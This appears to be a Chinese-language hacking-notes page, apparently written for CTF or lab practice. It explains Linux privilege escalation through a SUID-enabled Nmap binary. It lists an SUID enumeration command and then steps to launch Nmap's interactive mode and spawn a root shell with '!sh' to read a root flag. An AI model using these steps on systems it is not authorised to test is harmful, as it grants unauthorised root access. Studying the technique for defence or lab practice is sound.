> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/suid/suid-nmap-linux-privilege-escalation.md).
# SUID（Nmap）- Linux 权限提升
## 这是什么
SUID 二进制文件以其所有者的权限执行，通常是 root。存在漏洞、过时或过于灵活的 SUID 二进制文件可以读取受保护文件、启动具有特权的 shell，或执行由攻击者控制的代码。这个特定页面重点关注 **SUID（Nmap）** 并保持利用流程切合实际：识别条件，安全验证，然后运行证明影响所需的最小载荷。
## 枚举
在运行利用路径之前，先确认本地上下文和具体的错误配置。
```bash
find / -perm -4000 -type f 2>/dev/null
```
## 示例
#### SUID 文件发现
我们使用以下命令查找启用了 SUID 位的文件：
```bash
find / -perm -4000 2>/dev/null
```
#### Nmap 识别
在列出的文件中，我们发现 **Nmap**.
#### 利用
Nmap 可在交互模式下以 root 身份执行命令。步骤如下：
以交互模式启动 Nmap：
```bash
nmap --interactive
```
以 root 身份运行命令，例如：
```bash
!whoami
```
它显示“root”。
获取一个 root shell：
```bash
!sh
```
进入 root shell 后，访问 **root 文件.txt** 以获取 flag。
---
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